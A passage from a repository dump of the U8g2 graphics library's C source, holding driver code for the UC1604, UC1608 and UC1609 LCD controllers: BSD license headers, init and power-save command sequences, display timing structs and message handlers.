u8x8_cad_SendCmd(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos)); c = ((u8x8_tile_t *)arg_ptr)->cnt; c *= 8; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; do { u8x8_cad_SendData(u8x8, c, ptr); /* note: SendData can not handle more than 255 bytes */ arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); break; default: return 0; } return 1; } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_uc1604.c ================================================ /* u8x8_d_uc1604.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8x8.h" static const uint8_t u8x8_d_uc1604_powersave0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_DLY(20), U8X8_C(0x0af), /* display on */ U8X8_DLY(20), /* during setup, it seems that the startup is more reliable when sending this cmd twice */ U8X8_C(0x0af), /* display on */ U8X8_DLY(50), /* startup takes some time */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_uc1604_powersave1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off, enter sleep mode */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_uc1604_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0c4), /* LCD Mapping */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_uc1604_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0c2), /* LCD Mapping */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_uc1604_common(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, y, c; uint8_t *ptr; switch(msg) { case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15))); u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) ); y = ((u8x8_tile_t *)arg_ptr)->y_pos; y += u8x8->x_offset; u8x8_cad_SendCmd(u8x8, 0x0b0 | (y&15)); c = ((u8x8_tile_t *)arg_ptr)->cnt; c *= 8; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; do { u8x8_cad_SendData(u8x8, c, ptr); /* note: SendData can not handle more than 255 bytes */ arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); break; /* handled in the calling procedure case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_uc1604_128x64_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_uc1701_dogs102_init_seq); break; */ case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_uc1604_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_uc1604_powersave1_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_uc1604_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_uc1604_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x081 ); u8x8_cad_SendArg(u8x8, arg_int ); /* uc1604 has range from 0 to 255 */ u8x8_cad_EndTransfer(u8x8); break; #endif default: return 0; } return 1; } /*================================================*/ /* JLX19264 */ /* timings from uc1608 UC1604 has two chip select inputs (CS0 and CS1). CS0 is low active, CS1 is high active. It will depend on the display module whether the display has a is low or high active chip select. */ static const u8x8_display_info_t u8x8_uc1604_192x64_display_info = { /* chip_enable_level = */ 0, /* JLX19264G uses CS0, which is low active CS*/ /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 20, /* reset_pulse_width_ms = */ 1, /* post_reset_wait_ms = */ 10, /* sda_setup_time_ns = */ 30, /* sck_pulse_width_ns = */ 65, /* half of cycle time */ /* sck_clock_hz = */ 8000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 30, /* write_pulse_width_ns = */ 35, /* tile_width = */ 24, /* width of 24*8=192 pixel */ /* tile_height = */ 8, /* default_x_offset = */ 0, /* reused as y page offset */ /* flipmode_x_offset = */ 0, /* reused as y page offset */ /* pixel_width = */ 192, /* pixel_height = */ 64 }; static const uint8_t u8x8_d_uc1604_jlx19264_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0e2), /* soft reset */ U8X8_DLY(200), U8X8_DLY(200), U8X8_C(0x02f), /* power on, Bit 2 PC2=1 (internal charge pump), Bits 0/1: cap of panel */ U8X8_DLY(200), U8X8_DLY(200), U8X8_CA(0x081, 0x052), /* set contrast, JLX19264G suggestion: 0x045 */ U8X8_C(0x0eb), /* LCD bias Bits 0/1: 00=6 01=7, 10=8, 11=9 */ //U8X8_C(0x023), /* Bit 0/1: Temp compenstation, Bit 2: Multiplex Rate 0=96, 1=128 */ //U8X8_C(0x027), /* Bit 0/1: Temp compenstation, Bit 2: Multiplex Rate 0=96, 1=128 */ U8X8_C(0x0c4), /* Map control, Bit 2: MY=1, Bit 1: MX=0 */ U8X8_C(0x0a0), /* 0xa0: 76Hz FPS, controller default: 0x0a1: 95Hz FPS */ U8X8_C(0x040), /* set scroll line to 0 */ U8X8_C(0x089), /* RAM access control (controller default: 0x089)*/ U8X8_C(0x000), /* column low nibble */ U8X8_C(0x010), /* column high nibble */ U8X8_C(0x0b0), /* page adr */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_uc1604_jlx19264(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { /* call common procedure first and handle messages there */ if ( u8x8_d_uc1604_common(u8x8, msg, arg_int, arg_ptr) == 0 ) { /* msg not handled, then try here */ switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_uc1604_192x64_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_uc1604_jlx19264_init_seq); break; default: return 0; /* msg unknown */ } } return 1; } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_uc1608.c ================================================ /* u8x8_d_uc1608.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8x8.h" static const uint8_t u8x8_d_uc1608_powersave0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0af), /* display on */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_uc1608_powersave1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off, enter sleep mode */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_uc1608_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0c8), /* LCD Mapping */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_uc1608_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0c4), /* LCD Mapping */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_uc1608_common(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, y, c; uint8_t *ptr; switch(msg) { case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15))); u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) ); y = ((u8x8_tile_t *)arg_ptr)->y_pos; y += u8x8->x_offset; u8x8_cad_SendCmd(u8x8, 0x0b0 | (y&15)); c = ((u8x8_tile_t *)arg_ptr)->cnt; c *= 8; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; do { u8x8_cad_SendData(u8x8, c, ptr); /* note: SendData can not handle more than 255 bytes */ arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); break; /* handled in the calling procedure case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_uc1608_128x64_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_uc1701_dogs102_init_seq); break; */ case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_uc1608_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_uc1608_powersave1_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_uc1608_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_uc1608_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x081 ); u8x8_cad_SendArg(u8x8, arg_int ); /* uc1608 has range from 0 to 255 */ u8x8_cad_EndTransfer(u8x8); break; #endif default: return 0; } return 1; } /*================================================*/ /* ERC24064-1 */ /* The UC1608 has only one high active chip select input. UC1604, UC1610 and UC1611 have two chip select inputs. */ static const u8x8_display_info_t u8x8_uc1608_240x64_display_info = { /* chip_enable_level = */ 1, /* uc1608 has high active CS */ /* chip_disable_level = */ 0, /* post_chip_enable_wait_ns = */ 10, /* uc1608 datasheet, page 39, actually 0 */ /* pre_chip_disable_wait_ns = */ 20, /* uc1608 datasheet, page 39 */ /* reset_pulse_width_ms = */ 1, /* uc1608 datasheet, page 42 */ /* post_reset_wait_ms = */ 10, /* sda_setup_time_ns = */ 30, /* uc1608 datasheet, page 41 */ /* sck_pulse_width_ns = */ 65, /* half of cycle time */ /* sck_clock_hz = */ 8000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 30, /* uc1608 datasheet, page 39 */ /* write_pulse_width_ns = */ 35, /* uc1608 datasheet, page 39 */ /* tile_width = */ 30, /* width of 30*8=240 pixel */ /* tile_height = */ 8, /* default_x_offset = */ 0, /* reused as y page offset */ /* flipmode_x_offset = */ 4, /* reused as y page offset */ /* pixel_width = */ 240, /* pixel_height = */ 64 }; static const uint8_t u8x8_d_uc1608_erc24064_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0e2), /* soft reset */ U8X8_DLY(200), U8X8_C(0x023), /* Bit 0/1: Temp compenstation, Bit 2: Multiplex Rate 0=96, 1=128 */ //U8X8_C(0x027), /* Bit 0/1: Temp compenstation, Bit 2: Multiplex Rate 0=96, 1=128 */ U8X8_C(0x0c8), /* Map control, Bit 3: MY=1, Bit 2: MX=0, Bit 0: MSF =0 */ U8X8_C(0x0e8), /* LCD bias Bits 0/1: 00=10.7 01=10.3, 10=12.0, 11=12.7 */ U8X8_C(0x02f), /* power on, Bit 2 PC2=1 (internal charge pump), Bits 0/1: cap of panel */ U8X8_DLY(50), U8X8_C(0x040), /* set display start line to 0 */ U8X8_C(0x090), /* no fixed lines */ U8X8_C(0x089), /* RAM access control */ U8X8_CA(0x081, 0x014), /* set contrast, ERC24064-1 default: 0x040 */ U8X8_C(0x000), /* column low nibble */ U8X8_C(0x010), /* column high nibble */ U8X8_C(0x0b0), /* page adr */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_uc1608_erc24064(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { /* call common procedure first and handle messages there */ if ( u8x8_d_uc1608_common(u8x8, msg, arg_int, arg_ptr) == 0 ) { /* msg not handled, then try here */ switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_uc1608_240x64_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_uc1608_erc24064_init_seq); break; default: return 0; /* msg unknown */ } } return 1; } /*================================================*/ /* experimental implementation for the uc1608 240x128, not referenced in codebuild */ static const u8x8_display_info_t u8x8_uc1608_240x128_display_info = { /* chip_enable_level = */ 1, /* uc1608 has high active CS */ /* chip_disable_level = */ 0, /* post_chip_enable_wait_ns = */ 10, /* uc1608 datasheet, page 39, actually 0 */ /* pre_chip_disable_wait_ns = */ 20, /* uc1608 datasheet, page 39 */ /* reset_pulse_width_ms = */ 1, /* uc1608 datasheet, page 42 */ /* post_reset_wait_ms = */ 10, /* sda_setup_time_ns = */ 30, /* uc1608 datasheet, page 41 */ /* sck_pulse_width_ns = */ 65, /* half of cycle time */ /* sck_clock_hz = */ 8000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 30, /* uc1608 datasheet, page 39 */ /* write_pulse_width_ns = */ 35, /* uc1608 datasheet, page 39 */ /* tile_width = */ 30, /* width of 30*8=240 pixel */ /* tile_height = */ 16, /* default_x_offset = */ 0, /* reused as y page offset */ /* flipmode_x_offset = */ 0, /* reused as y page offset */ /* pixel_width = */ 240, /* pixel_height = */ 128 }; static const uint8_t u8x8_d_uc1608_240x128_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0e2), /* soft reset */ U8X8_DLY(200), //U8X8_C(0x023), /* Bit 0/1: Temp compenstation, Bit 2: Multiplex Rate 0=96, 1=128 */ U8X8_C(0x026), /* Bit 0/1: Temp compenstation, Bit 2: Multiplex Rate 0=96, 1=128 */ U8X8_C(0x0c8), /* Map control, Bit 3: MY=1, Bit 2: MX=0, Bit 0: MSF =0 */ U8X8_C(0x0ea), /* LCD bias Bits 0/1: 00=10.7 01=10.3, 10=12.0, 11=12.7 */ /* maybe 0x0eb??? */ U8X8_C(0x02f), /* power on, Bit 2 PC2=1 (internal charge pump), Bits 0/1: cap of panel */ U8X8_DLY(50), U8X8_C(0x040), /* set display start line to 0 */ U8X8_C(0x090), /* no fixed lines */ U8X8_C(0x089), /* RAM access control */ U8X8_CA(0x081, 0x072), /* set contrast */ U8X8_C(0x000), /* column low nibble */ U8X8_C(0x010), /* column high nibble */ U8X8_C(0x0b0), /* page adr */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_uc1608_240x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { /* call common procedure first and handle messages there */ if ( u8x8_d_uc1608_common(u8x8, msg, arg_int, arg_ptr) == 0 ) { /* msg not handled, then try here */ switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_uc1608_240x128_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_uc1608_240x128_init_seq); break; default: return 0; /* msg unknown */ } } return 1; } /*================================================*/ /* experimental implementation for the uc1608 erc240x120 */ static const u8x8_display_info_t u8x8_uc1608_erc240120_display_info = { /* chip_enable_level = */ 1, /* uc1608 has high active CS */ /* chip_disable_level = */ 0, /* post_chip_enable_wait_ns = */ 10, /* uc1608 datasheet, page 39, actually 0 */ /* pre_chip_disable_wait_ns = */ 20, /* uc1608 datasheet, page 39 */ /* reset_pulse_width_ms = */ 1, /* uc1608 datasheet, page 42 */ /* post_reset_wait_ms = */ 10, /* sda_setup_time_ns = */ 30, /* uc1608 datasheet, page 41 */ /* sck_pulse_width_ns = */ 65, /* half of cycle time */ /* sck_clock_hz = */ 8000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 30, /* uc1608 datasheet, page 39 */ /* write_pulse_width_ns = */ 35, /* uc1608 datasheet, page 39 */ /* tile_width = */ 30, /* width of 30*8=240 pixel */ /* tile_height = */ 15, /* default_x_offset = */ 1, /* reused as y page offset */ /* flipmode_x_offset = */ 0, /* reused as y page offset */ /* pixel_width = */ 240, /* pixel_height = */ 120 }; /* http://www.buydisplay.com/download/democode/ERC240120-1_DemoCode.txt */ static const uint8_t u8x8_d_uc1608_erc240120_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0e2), /* soft reset */ U8X8_DLY(200), //U8X8_C(0x023), /* Bit 0/1: Temp compenstation, Bit 2: Multiplex Rate 0=96, 1=128 */ U8X8_C(0x026), /* Bit 0/1: Temp compenstation, Bit 2: Multiplex Rate 0=96, 1=128 */ U8X8_C(0x0c8), /* Map control, Bit 3: MY=1, Bit 2: MX=0, Bit 0: MSF =0 */ U8X8_C(0x0ea), /* LCD bias Bits 0/1: 00=10.7 01=10.3, 10=12.0, 11=12.7 */ /* according to DemoCode.txt */ U8X8_C(0x02f), /* power on, Bit 2 PC2=1 (internal charge pump), Bits 0/1: cap of panel */ U8X8_DLY(50), U8X8_C(0x040), /* set display start line to 0 */ U8X8_C(0x090), /* no fixed lines */ U8X8_C(0x089), /* RAM access control */ //U8X8_CA(0x081, 46), /* set contrast, 46 according to DemoCode.txt */ U8X8_CA(0x081, 80), /* */ U8X8_C(0x000), /* column low nibble */ U8X8_C(0x010), /* column high nibble */ U8X8_C(0x0b0), /* page adr */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_uc1608_erc240120(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { /* call common procedure first and handle messages there */ if ( u8x8_d_uc1608_common(u8x8, msg, arg_int, arg_ptr) == 0 ) { /* msg not handled, then try here */ switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_uc1608_erc240120_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_uc1608_erc240120_init_seq); break; default: return 0; /* msg unknown */ } } return 1; } /*================================================*/ /* DEM 240064, issue 1164 */ static const u8x8_display_info_t u8x8_uc1608_dem240064_display_info = { /* chip_enable_level = */ 1, /* uc1608 has high active CS */ /* chip_disable_level = */ 0, /* post_chip_enable_wait_ns = */ 10, /* uc1608 datasheet, page 39, actually 0 */ /* pre_chip_disable_wait_ns = */ 20, /* uc1608 datasheet, page 39 */ /* reset_pulse_width_ms = */ 1, /* uc1608 datasheet, page 42 */ /* post_reset_wait_ms = */ 10, /* sda_setup_time_ns = */ 30, /* uc1608 datasheet, page 41 */ /* sck_pulse_width_ns = */ 65, /* half of cycle time */ /* sck_clock_hz = */ 8000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 30, /* uc1608 datasheet, page 39 */ /* write_pulse_width_ns = */ 35, /* uc1608 datasheet, page 39 */ /* tile_width = */ 30, /* width of 30*8=240 pixel */ /* tile_height = */ 8, /* default_x_offset = */ 1, /* reused as y page offset */ /* flipmode_x_offset = */ 0, /* reused as y page offset */ /* pixel_width = */ 240, /* pixel_height = */ 64 }; /* http://www.buydisplay.com/download/democode/ERC240120-1_DemoCode.txt */ static const uint8_t u8x8_d_uc1608_dem240064_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0e2), /* soft reset */ U8X8_DLY(200), //U8X8_C(0x023), /* Bit 0/1: Temp compenstation, Bit 2: Multiplex Rate 0=96, 1=128 */ U8X8_C(0x026), /* Bit 0/1: Temp compenstation, Bit 2: Multiplex Rate 0=96, 1=128 */ U8X8_C(0x0c8), /* Map control, Bit 3: MY=1, Bit 2: MX=0, Bit 0: MSF =0 */ U8X8_C(0x0ea), /* LCD bias Bits 0/1: 00=10.7 01=10.3, 10=12.0, 11=12.7 */ /* according to DemoCode.txt */ U8X8_C(0x02f), /* power on, Bit 2 PC2=1 (internal charge pump), Bits 0/1: cap of panel */ U8X8_DLY(50), U8X8_C(0x07f), /* set display start line*/ U8X8_C(0x094), /* fixed lines */ U8X8_C(0x089), /* RAM access control */ U8X8_CA(0x081, 160), /* issue 1164 */ U8X8_C(0x000), /* column low nibble */ U8X8_C(0x010), /* column high nibble */ U8X8_C(0x0b0), /* page adr */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_uc1608_dem240064_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0c8), /* LCD Mapping */ U8X8_C(0x07f), /* set display start line*/ U8X8_C(0x094), /* fixed lines */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_uc1608_dem240064_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0c4), /* LCD Mapping */ U8X8_C(0x040), /* set display start line*/ U8X8_C(0x090), /* fixed lines */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_uc1608_dem240064(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { /* checking for the flip mode cmd first */ if ( msg == U8X8_MSG_DISPLAY_SET_FLIP_MODE ) { if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_uc1608_dem240064_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_uc1608_dem240064_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } return 1; } /* call the common procedure, this now leads to the effect, that the flip code is executed again */ /* maybe we should paste the common code here to avoid this */ if ( u8x8_d_uc1608_common(u8x8, msg, arg_int, arg_ptr) == 0 ) { /* msg not handled, then try here */ switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_uc1608_dem240064_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_uc1608_dem240064_init_seq); break; default: return 0; /* msg unknown */ } } return 1; } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_uc1609.c ================================================ /* u8x8_d_uc1609.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2021, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. https://github.com/olikraus/u8g2/issues/1565 cad001 */ #include "u8x8.h" static const uint8_t u8x8_d_uc1609_19264_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(0x0f1, 63), /* set COM end (display height-1) */ U8X8_C(0x0c0), /* SEG & COM normal */ U8X8_C(0x040), /* set scroll line to zero */ U8X8_C(0x02e), /* chare pump */ U8X8_C(0x0eb), /* set bias 1/2 */ U8X8_CA(0x081, 0x08f), /* set contrast */ /* AC0: 0: stop at boundary, 1: increment by one AC1: 0: first column then page, 1: first page, then column increment AC2: 0: increment page adr, 1: decrement page adr. */ U8X8_C(0x088), /* set auto increment, low bits are AC2 AC1 AC0 */ U8X8_C(0x0a1), /* frame rate 95Hz */ /* LC0: 0 MX: Mirror X MY: Mirror Y */ U8X8_C(0x0c4), /* low bits are MY, MX, LC0 */ U8X8_C(0x0a6), /* set normal pixel mode (not inverse) */ U8X8_C(0x0a4), /* set normal pixel mode (not all on) */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_uc1609_19264_powersave0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0af), /* display on, UC1609 */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_uc1609_19264_powersave1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off, UC1609 